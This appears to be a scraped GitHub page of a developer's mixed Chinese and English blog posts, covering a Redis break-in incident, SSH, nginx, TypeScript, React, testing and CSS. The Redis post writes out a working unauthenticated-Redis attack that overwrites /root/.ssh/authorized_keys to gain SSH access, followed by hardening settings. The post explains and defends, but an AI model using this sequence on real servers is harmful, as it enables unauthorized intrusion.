I'm headwindz, living in Hangzhou
headwindz / blogs Goto Github PK
View Code? Open in Web Editor NEWPersonal blogs
Personal blogs
某日被反馈说线上服务跪了,赶紧登录服务器重启服务。发现一直重启失败,找了下原因发现应用代码不见了!对方在根目录下留下一封勒索信 索要0.1个比特币。作为一名合格的程序员,我们的代码肯定都是放在代码库上有备份的。0.1个比特币肯定没有的,2毛钱不能再多了。不过想想这是第一次被黑客攻击,还是有点小鸡冻。这里总结一下。
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。默认情况下Redis是没有开启认证的。这时候黑客可以通过redis-cli远程登录Redis服务器,通过改写配置恶意篡改 .ssh/authotrized_keys 文件,给自己添加服务器访问权限。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
$ cat key.txt | redis-cli -h 192.168.11.11 -x set hack
$ redis-cli -h 192.168.11.11
# dir:
# The working directory.
#
# The DB will be written inside this directory, with the filename specified
# above using the 'dbfilename' configuration directive.
#
# The Append Only File will also be created inside this directory.
#
# Note that you must specify a directory here, not a file name.
$ 192.168.11.11:6379> config set dir /root/.ssh/
OK
$ 192.168.11.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
# dbfilename: The filename where to dump the DB
$ 192.168.11.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.11.11:6379> save
OK
这样就可以将自己的公钥写进authorized_keys, 然后就可以直接ssh登录到服务器主机。
# Require clients to issue AUTH <PASSWORD> before processing any other
# commands. This might be useful in environments in which you do not trust
# others with access to the host running redis-server.
#
# This should stay commented out for backward compatibility and because most
# people do not need auth (e.g. they run their own servers).
#
# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
#
requirepass yourpassword
#
# ~~~ WARNING ~~~ If the computer running Redis is directly exposed to the
# internet, binding to all the interfaces is dangerous and will expose the
# instance to everybody on the internet. So by default we uncomment the
# following bind directive, that will force Redis to listen only into
# the IPv4 lookback interface address (this means Redis will be able to
# accept connections only from clients running into the same computer it
# is running).
#
bind 127.0.0.1
[mysqld]
bind-address = 127.0.0.1
//看是否监听 127.0.0.1 而不是 0.0.0.0
netstat -an | egrep 3306
setInterval can be implemented as recurisve
setTimeout calls.
with signature
function _setInterval(fn: Function, delay: number): number;
The call stack will be:
--delay--> fn() --delay--> fn() --delay--> fn() ...
To delay the execution of fn
, we could simply use setTimeout. Therefore, we create a wrapper
function which encapsulates the logic which executes the original function.
function _setInterval(fn, delay) {
// wrap the original function, recursively call the wrapper function with setTimeout
const wrapper = () => {
setTimeout(fn, 0);
return setTimeout(wrapper, delay)
}
setTimeout(wrapper, delay);
}
_setInterval(console.log.bind(null, 'hello world'), 1000);
We want to have a function which checks whether an item in JS object representation is a commondity. An item is a commondity if it satisfies one of :
The following tests should pass:
isCommondity({price: 1}); //true
isCommondity({barcode: 'abc'}); //true
isCommondity({a: 'a'}); //false
It seems to be quite straightfordword to come out with the following solution:
function isCommondityV1(comd) {
return !!comd.price || !!comd.barcode
}
The implementation is wrong under some circumstances. !!obj.prop
is checking the truthy of the prop
property of obj
, instead of checking the existence of the prop
property. E.g.
isCommondityV1({price: 0}); // false
while we expect isCommondityV1
to return true since {price: 0}
does have the price
property.
function isCommondityV2(comd) {
return comd.hasOwnProperty('price') || comd.hasOwnProperty('barcode')
}
isCommondityV2({price: 0}); //true
The solution works perfectly in line with the functionality requirement. However, it does suffer from two problems:
['price', 'barcode', 'a', 'b']
.function isCommondityV21(comd) {
return comd.hasOwnProperty('price') ||
comd.hasOwnProperty('barcode') ||
comd.hasOwnProperty('a') ||
comd.hasOwnProperty('b');
}
comd.hasOwnProperty
). We can be better off by seperating the variables and encapsulate the constants.function isCommondityV3(comd) {
return ['price', 'barcode'].some(Object.prototype.hasOwnProperty, comd);
}
With this implementation, we can easily deal with later change by updating the variables.
function isCommondityV31(comd) {
return ['price', 'barcode', 'a', 'b'].some(Object.prototype.hasOwnProperty, comd);
}
Or we can even go one more step further by encapsulating the variables into config
file. Futher requirement change will result in only changes in config
file without touching the implementation body :-)
//config.js
export COMMONDITY_PROPS = ['price', 'barcode'];
//commondity.js
import { COMMONDITY_PROPS } from 'config.js'
function isCommondity(comd) {
return COMMONDITY_PROPS.some(Object.prototype.hasOwnProperty, comd);
}
ssh是用来登录远程服务器并进行操作的程序。
ssh [-1246AaCfgkMNnqsTtVvXxY] [-b bind_address] [-c cipher_spec]
[-D port] [-e escape_char] [-F configfile] [-i identity_file] [-L
[bind_address:]port:host:hostport] [-l login_name] [-m mac_spec]
[-O ctl_cmd] [-o option] [-p port] [-R
[bind_address:]port:host:hostport] [-S ctl_path] [user@]hostname
[command]
ssh客户端发送它的私钥(private key), ~/.ssh/id_dsa 或者 /.ssh/id_rsa到远程服务器。 远程服务器检测/.ssh/authorized_keys是否有对应的公钥(public key)。
修改 ~/.ssh/config文件
Host remoteServer # 方便记忆的主机登录伪名
HostName www.google.com # 服务器ip或域名
User root # 登录的用户名
IdentityFile ~/.ssh/id_rsa # 私钥路径
id_rsa(私钥private key)和id_rsa.pub(公钥public key)一一对应
sshfs [email protected]:/ /local/directory/to/mount
umount /local/directory/to/mount
I have been using nginx as reverse proxy for my daily development work. After upgrading nginx today, it somehow stops working correctly: a vendor.js file built from webpack has not been served properly. I get the following error from chrome console:
GET http://nginx.example.com/dist/js/vendor.js net::ERR_CONTENT_LENGTH_MISMATCH
I take some quick lookarounds and find out:
The response header seems to be fine. However, there is nothing to preview in chrome network tab.
The Content-Length of the vendor.js matches the real size of the file.
# ls -l : get the size in byte
-rw-r--r-- 1 michaelzheng staff 4844863 Jul 2 17:00 vendor.js
# ls -lh : get the size in human readable format
-rw-r--r-- 1 michaelzheng staff 4.6M Jul vendor.js
curl
works perfectly.Find the location of nginx config file(i.e. nginx.conf)
nginx -t
Find the location of error log, which is usually defined in nginx.conf
Check out the error
# tail -f nginx
2018/07/02 22:29:27 [crit] 14586#0: *3641 open() "/usr/local/var/run/nginx/proxy_temp/1/08/0000000081" failed
(13: Permission denied) while reading upstream, client: 127.0.0.1, server: nginx.example.com, request: "GET /dist/js/vendor.js HTTP/1.1",
upstream: "http://127.0.0.1:8080/dist/js/vendor.js", host: "nginx.example.com", referrer: "http://nginx.example.com/testabc"
Now that we can clearly see it's related to permission problem of the buffer directory proxy_temp
.
Solution 1 - Grant permission
chown -R nobody:admin proxy_temp
You need to first run the command ps aux | grep nginx
to find out the owner of the nginx process which is usually nobody
Solution 2 - Disable buffering with proxy_buffering set to off
Solution 3 - Change the buffer directory to other directory the nginx process owner has permission to, with proxy_temp_path directive.
export const num = 1;
// a.js
const num = 1;
const str = 'export';
export { num };
export { str as exportStr }; // export renaming
// b.js
export default function toString(obj) {
return obj.toString();
}
export { num, exportStr } from './a.js'
// equivalent to
export * from './a.js'
import { num, exportStr } from './a.js';
import * as util from './a.js'
import toString from './b.js';
// equivalent to
import { default as toString } from './b.js'
module
in tsconfigSpecify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'.
Ambient declarations are written using the declare keyword and can declare variables, functions, classes, enums, namespaces, or modules.
// node.d.ts
declare module "url" {
export interface Url {
protocol?: string;
hostname?: string;
pathname?: string;
}
export function parse(urlStr: string, parseQueryString?): Url;
}
/// <reference path="node.d.ts"/>
import * as URL from "url";
let myUrl = URL.parse("https://github.com/n0rush");
declare module "new-module"; // All imports from a shorthand module will have the any type.
declare module "json!*" {
export const version: string;
const value: any;
export default value;
}
cant only do
import { version } from 'example.json'
import data from 'example.json'
import { data } from 'example.json' // error
namespace N {
let str = "hello world";
export function fn() {
return str;
}
}
N.fn();
N.str; // Error, str is not exported
The above M
declaration is equivalent to the folowing in compiled code:
var N;
(function (N) {
var str = "hello world";
function fn() {
return str;
}
N.fn = fn;
})(N || (N = {}));
N.fn();
N.str; // Error, str is not exported
import { a } from 'pathOfModuleA';
moduleResolution
in tsconfig.Setting baseUrl informs the compiler where to find modules. All module imports with non-relative names are assumed to be relative to the baseUrl. Note that relative module imports are not impacted by setting the baseUrl, as they are always resolved relative to their importing files.
{
"compilerOptions": {
"baseUrl": ".", // This must be specified if "paths" is set.
"paths": {
"jquery": ["node_modules/jquery/dist/jquery"] // This mapping is relative to "baseUrl"
}
}
}
Ever wonder writing only one piece of code but run it across all platforms (web + native)? Yes, you definitely can!
react-native rnweb
A project with the following directory structure will be created:
// App.js code
import React, {Component} from 'react';
import {Platform, StyleSheet, Text, View} from 'react-native';
const instructions = Platform.select({
ios: 'Press Cmd+R to reload,\n' + 'Cmd+D or shake for dev menu',
android:
'Double tap R on your keyboard to reload,\n' +
'Shake or press menu button for dev menu',
});
type Props = {};
export default class App extends Component<Props> {
render() {
return (
<View style={styles.container}>
<Text style={styles.welcome}>Welcome to React Native!</Text>
<Text style={styles.instructions}>To get started, edit App.js</Text>
<Text style={styles.instructions}>{instructions}</Text>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});
// index.js code
import {AppRegistry} from 'react-native';
import App from './App';
import {name as appName} from './app.json';
AppRegistry.registerComponent(appName, () => App);
You can checkout the source code at react-native branch of the repo
react-native run-ios
react-native run-android
Ideally we would like our react native project to work on web as well, with minimum code modification. The goal can be achieved with the help of react-native-web.
In the react native code, we import modules like AppRegistry and Text from react-native package. These modules aren't recognized by web browsers and thus won't work if used directly on web platform. react-native-web implements the same protocols/APIs in web terminology used in react-native. By aliasing react-native to react-native-web in webpack config, we are then able to use the equivalent web components without code change.
//webpack.config.js
resolve: {
extensions: [".js", ".jsx"],
alias: {
"react-native": "react-native-web"
}
},
Packaging with the above webpack config with the following code
import {Text} from 'react-native'
=> actually imports Text component from 'react-native-web'.
Let's take a look into the source code of Text component implementation in react-native-web. In the render function the return is either a div or span element which works on web platform.
// Text/index.js
import applyLayout from '../../modules/applyLayout';
import applyNativeMethods from '../../modules/applyNativeMethods';
import { bool } from 'prop-types';
import { Component } from 'react';
import createElement from '../createElement';
import StyleSheet from '../StyleSheet';
import TextPropTypes from './TextPropTypes';
class Text extends Component<*> {
//...
render() {
const {
dir,
numberOfLines,
onPress,
selectable,
style,
/* eslint-disable */
adjustsFontSizeToFit,
allowFontScaling,
ellipsizeMode,
lineBreakMode,
minimumFontScale,
onLayout,
onLongPress,
pressRetentionOffset,
selectionColor,
suppressHighlighting,
textBreakStrategy,
tvParallaxProperties,
/* eslint-enable */
...otherProps
} = this.props;
//...
const component = isInAParentText ? 'span' : 'div';
return createElement(component, otherProps);
}
// ...
}
// ...
export default applyLayout(applyNativeMethods(Text));
react native bundling doesn't go through webpack while web packaging does. Thus the aliasing in webpack config only works for web packaging.
<!DOCTYPE html>
<html>
<head>
<title>React Native Web</title>
<meta name="viewport" content="width=device-width">
</head>
<body>
<div id="root"></div>
</body>
</html>
npm install --save react-art react-dom react-native-web
html-webpack-plugin webpack-dev-server webpack webpack-cli
babel-loader @babel/preset-env @babel/preset-react
const HtmlWebPackPlugin = require("html-webpack-plugin");
module.exports = {
entry: {
app: "./index.js"
},
resolve: {
extensions: [".js", ".jsx"],
alias: {
"react-native": "react-native-web"
}
},
output: {
filename: "bundle.js"
},
module: {
rules: [
{
test: /\.js$/,
exclude: /(node_modules|bower_components)/,
use: {
loader: "babel-loader",
options: {
presets: ["@babel/preset-env", "@babel/preset-react"]
}
}
}
]
},
plugins: [
new HtmlWebPackPlugin({
template: "./web/index.html",
filename: "./index.html"
})
],
devServer: {
historyApiFallback: true
}
};
{
web: "webpack-dev-server"
}
// App.js
import React, {Component} from 'react';
import {Platform, StyleSheet, Text, View} from 'react-native';
const instructions = Platform.select({
ios: 'Press Cmd+R to reload,\n' + 'Cmd+D or shake for dev menu',
android:
'Double tap R on your keyboard to reload,\n' +
'Shake or press menu button for dev menu',
web: 'Cmd+R or F12 to reload'
});
type Props = {};
export default class App extends Component<Props> {
render() {
return (
<View style={styles.container}>
<Text style={styles.welcome}>Welcome to React Native!</Text>
<Text style={styles.instructions}>To get started, edit App.js</Text>
<Text style={styles.instructions}>{instructions}</Text>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});
//index.js
import {AppRegistry, Platform } from 'react-native';
import App from './App';
import {name as appName} from './app.json';
AppRegistry.registerComponent(appName, () => App);
if (Platform.OS === 'web') {
AppRegistry.runApplication(appName, {
rootTag: document.getElementById("root")
});
}
npm run web
Hello !
Thank you for your blog article !
It helped me to find out why my menu was not fixed to viewport, BUT in my case I had the "will-change: transform" property set too, and it changed the "containing block", so i thing you could update your article to add "will-change" to the properties to care about.
Thank you.
Regards
首先先安装下Mocha
npm install mocha -g
假设我们有一个trim的方法.
// trim.js
'use strict';
/**
* Trim whitespace from the beginning and end of a string
* @param {String} str - string to be trimed
* @returns {String}
*/
function trim(str) {
if (typeof str !== 'string') {
throw new Error(`str is not string`);
}
return str.replace(/^\s+|\s+$/g, '');
}
module.exports = trim;
我们可以写一个test.js来测试trim方法.
'use strict';
let trim = require('trim'); //引入上面的trim.js
let should = require('should'); //引入should断言库,用来判断源码的实际执行结果与预期结果是否一致
describe('string trim', () => {
it('trim string with no spaces at beginning and end', () => {
trim('hello world').should.be.eql('hello world');
});
it('trim string with space(s) at beginning', () => {
trim(' hello world').should.be.eql('hello world');
});
it('trim string with tab(s) at beginning', () => {
trim('\thello world').should.be.eql('hello world');
});
it('trim string with new line(s) at beginning', () => {
trim('\nhello world').should.be.eql('hello world');
});
it('trim string with space(s) at beginning', () => {
trim('hello world ').should.be.eql('hello world');
});
it('trim string with tab(s) at beginning', () => {
trim('hello world\t').should.be.eql('hello world');
});
it('trim string with new line(s) at beginning', () => {
trim('hello world\n').should.be.eql('hello world');
});
it('trim string with spaces/tabs/new lines at beginning and end', () => {
trim(' \t\nhello world \t\n').should.be.eql('hello world');
});
});
然后通过运行以下命令即可对trim方法进行测试:
mocha test.js
结果:
string trim
✓ trim string with no spaces at beginning and end
✓ trim string with space(s) at beginning
✓ trim string with tab(s) at beginning
✓ trim string with new line(s) at beginning
✓ trim string with space(s) at beginning
✓ trim string with tab(s) at beginning
✓ trim string with new line(s) at beginning
✓ trim string with spaces/tabs/new lines at beginning and end
8 passing (12ms)
异步方法的测试只需要在你的测试结束时调用回调函数即可。通过给it()添加回调函数可以告知Mocha需要等待异步测试结束。
'use strict';
let should = require('should');
describe('Async', function(){
it("Async successful with done", function(done){
setTimeout(function() {
done();
}, 200);
});
//如果要标志异步测试失败的话,可以通过给回调函数传递一个Error实例或者字符串
it("Async failure with done", function(done){
setTimeout(function() {
done(new Error("This is a sample failing async test"));
}, 200);
});
//也可以直接返回promise
it("Async without done", function() {
let testPromise = new Promise(function(resolve, reject) {
setTimeout(function() {
resolve("Hello!");
}, 200);
});
return testPromise.then(function(result) {
return result.should.be.equal("Hello!");
});
});
});
运行改解释脚本结果为:
Async
✓ Async successful with done (206ms)
1) Async failure with done
✓ Async without done (209ms)
2 passing (629ms)
1 failing
1) Async Async failure with done:
Error: This is a sample failing async test
at null._onTimeout (test.js:14:50)
首先先安装下istanbul
npm install istanbul -g
然后用istanbul跑测试文件.
istanbul cover _mocha test.js
运行结果如下:
string trim
✓ trim string with no spaces at beginning and end
✓ trim string with space(s) at beginning
✓ trim string with tab(s) at beginning
✓ trim string with new line(s) at beginning
✓ trim string with space(s) at beginning
✓ trim string with tab(s) at beginning
✓ trim string with new line(s) at beginning
✓ trim string with spaces/tabs/new lines at beginning and end
8 passing (10ms)
=============================================================================
Writing coverage object [/path/to/test/coverage/dir/coverage.json]
Writing coverage reports at [/path/to/test/coverage/dir/coverage]
=============================================================================
=============================== Coverage summary ===============================
Statements : 100% ( 18/18 )
Branches : 100% ( 0/0 )
Functions : 100% ( 0/0 )
Lines : 100% ( 18/18 )
================================================================================
这条命令同时还生成了一个 coverage 子目录,其中的 coverage.json 文件包含覆盖率的原始数据,coverage/lcov-report 是可以在浏览器打开的覆盖率报告,其中有详细信息,到底哪些代码没有覆盖到。
'use strict';
let mocha = new (require('mocha'))();
mocha.addFile('trim.js');
mocha.run(function(err) {
process.on('exit', function() {
process.exit(err);
});
});
An
Uncontrolled
Component is one that stores and maintains its own state internally.
ref
is used to find its current value when you need it.Switch
implemented in uncontrolled way.class Switch extends React.Component {
constructor(props) {
super(props);
// maintain its own state
this.state = {
checked: false
};
}
// expose state data for parent component to access
get value() {
return this.state.checked;
}
toggle = () => {
this.setState((prevState) => {
return {
checked: !prevState.checked
}
})
}
render() {
// check status is maintained in own state
const { checked } = this.state;
let classNames = ['switch'];
if (checked) {
classNames = [...classNames, 'checked']
}
return (
<div>
<button className={classNames.join(' ')} onClick={this.toggle}/>
</div>
);
}
}
class Wrapper extends React.Component {
ref = React.createRef();
getValue = () => {
alert(this.ref.current.value);
}
render() {
return <React.Fragment>
<Switch ref={this.ref}/>
<button onClick={this.getValue} style={{ marginTop: 20 }}> Switch Status </button>
</React.Fragment>
}
}
ReactDOM.render(
<Wrapper />,
document.getElementById('root')
);
A Controlled Component takes its current value through props and notifies changes through callbacks. A parent component "controls" it by handling the callback and managing its own state and passing the new values as props to the controlled component.
The following is an example of a Switch
implemented in controlled way.
class Switch extends React.Component {
constructor(props) {
super(props);
}
toggle = () => {
// callback passed in from parent
const { checked, onChange } = this.props;
onChange(!checked)
}
render() {
// check status is maintained by props from parent component
const { checked } = this.props;
let classNames = ['switch'];
if (checked) {
classNames = [...classNames, 'checked']
}
return (
<div>
<button className={classNames.join(' ')} onClick={this.toggle}/>
</div>
);
}
}
class Wrapper extends React.Component {
state = {
checked: false
}
getValue = () => {
alert(this.state.checked);
}
// when check status changes, maintain it in parent state
onChange = (checked) => {
this.setState({
checked
})
}
render() {
return <React.Fragment>
<Switch checked={this.state.checked} onChange={this.onChange}/>
<button onClick={this.getValue} style={{ marginTop: 20 }}> Switch Status </button>
</React.Fragment>
}
}
ReactDOM.render(
<Wrapper />,
document.getElementById('root')
);
A Mixed
Component allows for usage in either Uncontrolled
or Controlled
way. It accepts its initial value as a prop and puts it in state. It then reacts to props change through Component Lifecycle to sync state update to date with props.
class Switch extends React.Component {
constructor(props) {
super(props);
// maintain check status in own state
this.state = {
checked: props.checked || false
};
}
get value() {
return this.state.checked;
}
static getDerivedStateFromProps(nextProps, currentState) {
// react to props change and sync state accordingly
// only in controlled mode
if(nextProps.hasOwnProperty('checked') && (nextProps.checked != currentState.checked)) {
return {
checked: nextProps.checked
}
}
return null;
}
toggle = () => {
const { onChange, checked } = this.props;
const { checked: checkedInState } = this.state
if (!this.props.hasOwnProperty('checked')) {
// no checked prop, uncontrolled
this.setState({
checked: !checkedInState
})
}
onChange && onChange(!checkedInState)
}
render() {
const { checked } = this.state;
let classNames = ['switch'];
if (checked) {
classNames = [...classNames, 'checked']
}
return (
<div>
<button className={classNames.join(' ')} onClick={this.toggle}/>
</div>
);
}
}
class Wrapper extends React.Component {
ref = React.createRef();
state = {
controlledChecked: false,
}
controlledOnChange = (checked) => {
this.setState({
controlledChecked: checked;
})
}
getUncontrolledValue = () => {
alert(this.ref.current.value);
}
getControlledValue = () => {
alert(this.state.controlledCheck);
}
render() {
return <React.Fragment>
<div>
Uncontrolled: <Switch ref={this.ref}/>
<button onClick={this.getUncontrolledValue} style={{marginTop: 20}}>
Uncontrolled Switch Status
</button>
</div>
<hr/>
<div>
Controlled: <Switch checked={this.state.controlledChecked} onChange={this.controlledOnChange}/>
<button onClick={this.getControlledValue} style={{marginTop: 20}}>
Controlled Switch Status
</button>
</div>
<hr/>
</React.Fragment>
}
}
ReactDOM.render(
<Wrapper />,
document.getElementById('root')
);
iterable
object to an array, use spreads ... instead of Array.fromconst foo = document.querySelectorAll('.foo');
// good
const nodes = Array.from(foo);
// best
const nodes = [...foo];
array-like
object to an array.const arrLike = { 0: 'foo', 1: 'bar', 2: 'baz', length: 3 };
// bad
const arr = Array.prototype.slice.call(arrLike);
// good
const arr = Array.from(arrLike);
// bad
const baz = [...foo].map(bar);
// good
const baz = Array.from(foo, bar);
// bad
const binary = Math.pow(2, 10);
// good
const binary = 2 ** 10;
在日常的应用中,我们经常会在链接在加上一个回调地址用于跳转。例如我的应用是
http://www.taobao.com,假设我在没登录的情况下访问了 http://www.taobao.com/shoppingcart 。这时候会跳转到 http://www.taobao.com/login?url=/shoppingcart 。登录完后再跳转到_/shoppingcart_的地址。这里有个漏洞就是可能会有人恶意发送钓鱼链接。例如我可以给你发给链接
http://www.taobao.com/login?url=http://www.baidu.com 。如果不对url参数进行验证的话就会被导向恶意网站。
如果是只能跳转到内部相对地址的话,可以采取/验证。
let urlQuery = getQuery(); //假设获取到url的参数了
let returnUrl = '/dashboard'; // 默认的返回地址
if(urlQuery.startsWith('/')) { // /开头是相对路径
returnUrl = urlQuery;
}
return returnUrl;
这里会有个问题,如果url是//开头的话, 会被当成是绝对路径
//假设我当前在https://www.baidu.com
document.location='/taobao.com'; // 会跳转到 https://www.baidu.com/taobao.com
document.location='//taobao.com'; // 则会跳转到 https://taobao.com
所以这里需要对//进行下处理
let path = require('path');
let urlQuery = path.normalize(getQuery()); //假设获取到url的参数了
let returnUrl = '/dashboard'; // 默认的返回地址
if(urlQuery.startsWith('/')) { // /开头是相对路径
returnUrl = urlQuery;
}
return returnUrl;
Centering in CSS is should NOT make you frustrated.
text-align property can be inherited
<header>
This text is centered.
</header>
<nav>
<a>App</a>
<a>Shop</a>
<a>Login</a>
</nav>
header, nav {
text-align: center
}
<div class='container'>
<div>
<p> Hello to my demo </p>
</div>
</div>
.container {
text-align: center;
}
p
is not centered, it's a block element and takes the full width. It's just the content/text that is centered.
<div class='container'>
<p> Hello to my demo </p>
</div>
.container p {
width: 200px;
margin: 0 auto;
}
<main class="container">
<div>I'm the content, I want to be horizontally centered. I'm the content, I want to be horizontally centered</div>
</main>
.container {
border: 1px solid red;
position: relative;
height: 300px
}
div {
position: absolute;
left: 50%;
transform: translateX(-50%);
}
<main class="container">
<div>This is a paragraph. I want to be horizontally centered</div>
<div>This is a paragraph. I want to be horizontally centered</div>
<div>This is a paragraph. I want to be horizontally centered</div>
</main>
.container {
display: flex;
justify-content: center;
}
.container div {
border: 1px solid red;
margin-right: 10px;
}
<main class="container">
<div>This is a paragraph. I want to be vertically centered</div>
</main>
div {
border: 1px solid red;
height: 40px;
line-height: 40px;
}
<main class="container">
<div>I'm the content, I want to be vertically centered. I'm the content, I want to be vertically centered</div>
</main>
.container {
width: 150px;
position: relative;
height: 300px;
border: 1px solid red;
}
div {
position: absolute;
top: 50%;
transform: translateY(-50%);
}
<main class="container">
<div>I'm the content, I want to be vertically centered. I'm the content, I want to be vertically centered</div>
</main>
.container {
width: 150px;
display: flex;
height: 300px;
border: 1px solid red;
align-items: center;
}
Combination of the above horizontal and vertical centering solutions
As long as you don't have browser compatibility consideration, try to take display: flex
as your first choice. It's almost the silver bullet in centering.
Generic programming centers around the idea of abstracting from concrete, efficient algorithms to obtain generic algorithms that can be combined with different data representations to produce a wide variety of useful software.
— Musser, David R.; Stepanov, Alexander A., Generic Programming
function sum(arr) {
let total = 0;
for(let i = 0; i < arr.length; i++) {
total += arr[i];
}
return total;
}
console.log(sum([1,2,3])); //6
We iterate through the array and add up each element to get the sum of the array. But what if we want a different operation, such as finding the max number:
function max(arr) {
let result = arr[0];
for(let i = 1; i < arr.length; i++) {
if(arr[i] > result) {
result = arr[i]
}
}
return result;
}
console.log(max([1,2,3])); //3
There might be many cases in which we need to go through the array and do something with the elements in the array. It should be a good option to encapsulate the operation and leave it to the caller to determine what to do with each element. That's what reduce is designed for. Let's implement our own _reduce.
function _reduce(op, initialValue) {
return (arr) => {
let result;
let index = 0;
if(initialValue != null) {
result = initialValue;
} else {
result = arr[0];
index = 1;
}
for(let i = index; i < arr.length; i++) {
result = op(result, arr[i])
}
return result;
}
}
So now we can rewrite sum and max as:
let sumWithReduce = _reduce((sum, item) => sum + item)
let maxWithReduce = _reduce((max, item) => max > item ? max : item)
console.log(sumWithReduce([1,2,3])); //6
console.log(maxWithReduce([1,2,3])); //3
In the _reduce implementation above, we have abstracted away the operation detail and only keep the looping logic in the implementation. However, the implementation still relies on for and array index so it only works for arrays. We make it more generic with Iterators.
function _genericReduce(op, initialValue) {
return (iterables) => {
let inited, result;
if(initialValue != null) {
result = initialValue;
inited = true;
}
for(let item of iterables) {
if(!inited) {
result = item;
inited = true;
} else {
result = op(result, item)
}
}
return result;
}
}
let sumWithGenericReduce = _genericReduce((sum, item) => sum + item)
let maxWithGenericReduce = _genericReduce((max, item) => max > item ? max : item)
console.log(sumWithGenericReduce([1,2,3])); //6
console.log(maxWithGenericReduce([1,2,3])); //3
It now works for all data structures that are iterable. Here is a reading note I wrote about iterator if you are interested in.
class Group {
constructor(id) {
this.id = id;
this.members = [];
}
addMember(person) {
this.members.push(person);
}
[Symbol.iterator]() {
let index = 0;
return {
next: () => ({
value: this.members[index++],
done: index > this.members.length
})
};
}
}
class Member {
constructor(name, salary) {
this.name = name;
this.salary = salary;
}
}
## try to find the lowest salary in the group
let group = new Group('007');
group.addMember(new Member('mike', 1000))
group.addMember(new Member('john', 2000))
group.addMember(new Member('alfred', 3000))
let lowestSalary = _genericReduce((result, member) => {
if(member.salary < result) {
return member.salary
}
return result;
}, Number.MAX_SAFE_INTEGER)(group)
console.log(lowestSalary);
E.g. toggle a switch whose status can only be on
and off
. In the case, we can use boolean
let status = true;
function toggle() {
status = !status;
}
for(let i = 0; i < 10; i++) {
toggle();
console.log(status ? 'on' : 'off');
}
E.g. toggle traffic lights. In the case, we can use a counter and increment the counter at each toggle and use remainder
to get the active light.
let counter = 0;
function toggle() {
counter++
}
function getActiveLight() {
let remainder = counter % 3;
switch (remainder) {
case 0:
return 'red';
case 1:
return 'yellow';
case 2:
return 'green';
}
}
for(let i = 0; i < 10; i++) {
toggle();
console.log(getActiveLight());
}
The idea of grouping a list of items into subgroups is similar to the toggle
example above where we make use of quotient
and remainder
left-to-right, top-to-bottom
E.g.
[1,2,3,4,5,6,7] with 3 groups will result in:
[[1, 2, 3], [4, 5, 6], [7]]
i.e.
1 2 3
4 5 6
7
arr
numOfColumns
A B C D
E F G H
I
Given numOfColumns
, the item with index idx
should be placed on rowIndex Math.floor(index / numOfColumns)
and columnIndex idx % numOfColumns
. For the example, G
has index 6
and numOfColumns
is 4. Therefore,
G
would be Math.floor(idx / numOfColumns) = Math.floor(6 / 4) = 1
G
would be idx % numOfColumns = 6 % 4 = 2
=> G
would be on the third column of the second row. (Note: index starts from zero)
const result = [];
arr.forEach((it, index) => {
let rowIndex, columnIndex;
rowIndex = Math.floor(index / numOfColumns);
columnIndex = index % numOfColumns;
result[rowIndex] = result[rowIndex] || [];
result[rowIndex][columnIndex] = it;
});
top-to-bottom -> left-to-right
E.g.
[1,2,3,4,5,6,7] with 3 groups will result in:
[[1, 4, 7], [2, 5], [3, 6]]
i.e.
1 4 7
2 5
3 6
arr
numOfColumns
Z
ordering is a bit counter-intuitive. However, it still follow a pattern similar to N
ordering. The difference lays on
N
orderingquotient
and remainder
A C E G
B D F H
Given numOfColumns
, the number of rows numOfRows
that we need to have to hold the items would be Math.ceil(arr.length / numOfColumns)
. The item with index idx
should be placed on rowIndex idx % numOfRows
and columnIndex Math.floor(idx / numOfRows)
. For the example, G
has index 6
and numOfColumns
is 4. Therefore,
numOfRows
would be Math.ceil(arr.length / numOfColumns) = Math.ceil(8 / 4) = 2
G
would be idx % numOfRows = 6 % 2 = 0
G
would be Math.floor(idx / numOfRows) = Math.floor(6 / 2) = 3
=> G
would be on the fourth column of the first row. (Note: index starts from zero)
let result = [];
const numOfRows = Math.ceil(arr.length / numOfColumns);
arr.forEach((it, index) => {
let rowIndex, columnIndex;
rowIndex = index % numOfRows;
columnIndex = Math.floor(index / numOfRows);
result[rowIndex] = result[rowIndex] || [];
result[rowIndex][columnIndex] = it;
});
In React, the component literally re-renders while its state or props change. While it makes sense as state represents internal data and props represent external data, it's not always the case. There are a few techniques which can prevent the component from unnecessary rendering. Let's go through the examples.
let count = 0;
class Button extends React.Component {
render = () => {
const { color } = this.props
count++;
return (
<React.Fragment>
<span> Render count: { count } </span>
<button style={{ color }}> text </button>
</React.Fragment>
)
}
}
class App extends React.Component {
state = {
color: 'red'
}
showRedButton = () => {
this.setState({
color: 'red'
})
}
showGreenButton = () => {
this.setState({
color: 'green'
})
}
render() {
const { color } = this.state;
const { showRedButton, showGreenButton } = this;
return (
<React.Fragment>
<Button color={color}/>
<button onClick={showRedButton}> red </button>
<button onClick={showGreenButton}> green </button>
</React.Fragment>)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
Each time we click the buttons (either red
or green
), the count
increments, indicating the Button
component is re-rendering. However, the only prop that the Button
is dependent on is color
. If the color
keeps unchanging, the rendering is unnecessary.
Goal: If we keep pressing the red
button, we want the count
to be unchanged as we dont want to re-render Button
component since color
remains the same.
let count = 0;
class Button extends React.Component {
shouldComponentUpdate(nextProps) {
if(this.props.color === nextProps.color) {
return false;
}
return true
}
render = () => {
const { color } = this.props
count++;
return (
<React.Fragment>
<span> Render count: { count } </span>
<button style={{ color }}> text </button>
</React.Fragment>
)
}
}
class App extends React.Component {
state = {
color: 'red'
}
showRedButton = () => {
this.setState({
color: 'red'
})
}
showGreenButton = () => {
this.setState({
color: 'green'
})
}
render() {
